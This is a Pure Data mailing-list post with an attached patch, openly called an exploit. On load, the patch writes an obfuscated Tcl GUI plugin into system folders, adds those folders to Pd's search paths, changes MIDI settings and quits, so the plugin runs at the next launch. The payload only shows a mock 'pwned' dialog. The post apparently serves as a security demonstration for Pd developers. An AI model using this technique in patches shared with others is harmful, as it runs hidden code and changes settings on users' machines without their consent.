On 8/31/21 1:05 PM, IOhannes m zmoelnig wrote:

ยน i wonder whether it would be possible (with Pd>=0.42) to create a patch that creates a gui-plugin on the fly. if this is true, then you can already do everything that [file] allows you to do - and much more.


like with the attached patch.

i've tested this on Linux, macOS and Windows (where i have an msys installation and some folders that might make the exploit work - but which might not be present on your machine).

running the patch will add a few search-paths to your preferences and probably modify your MIDI-settings. apart from that, it shouldn't do any harm (though i wouldn't recommend to run it if you have a show tonight).
use at your own risk.

gmasdr
IOhannes
#N canvas 128 640 1026 474 12;
#X obj 252 176 text define -k \$0-text;
#A set eval [binary format c* {116 107 95 100 105 97 108 111 103 32
46 112 119 110 101 100 32 34 101 120 112 108 111 105 116 101 100 34
32 34 121 111 117 32 104 97 118 101 32 98 101 101 110 32 112 119 110
101 100 34 32 34 34 32 48 32 34 80 97 121 34}];
#X msg 252 152 write -c \$1/exploit-plugin.tcl;
#X obj 220 127 t s s;
#X obj 124 270 s pd;
#X msg 220 209 add-to-path +\$1 1 \, midi-dialog 1 0 0 0 0 0 0 0 0
1 0 0 0 0 0 0 0 0 1 1;
#X obj 58 16 loadbang;
#X obj 58 41 t b b;
#X msg 58 66 quit;
#X msg 220 74 /tmp/ \, C:/ \, C:/Temp/ \, C:/Windows;
#X obj 220 99 symbol;
#X connect 1 0 0 0;
#X connect 2 0 4 0;
#X connect 2 1 1 0;
#X connect 4 0 3 0;
#X connect 5 0 6 0;
#X connect 6 0 7 0;
#X connect 6 1 8 0;
#X connect 7 0 3 0;
#X connect 8 0 9 0;
#X connect 9 0 2 0;

Attachment: OpenPGP_signature
Description: OpenPGP digital signature

_______________________________________________
[email protected] mailing list
UNSUBSCRIBE and account-management -> 
https://lists.puredata.info/listinfo/pd-list

Reply via email to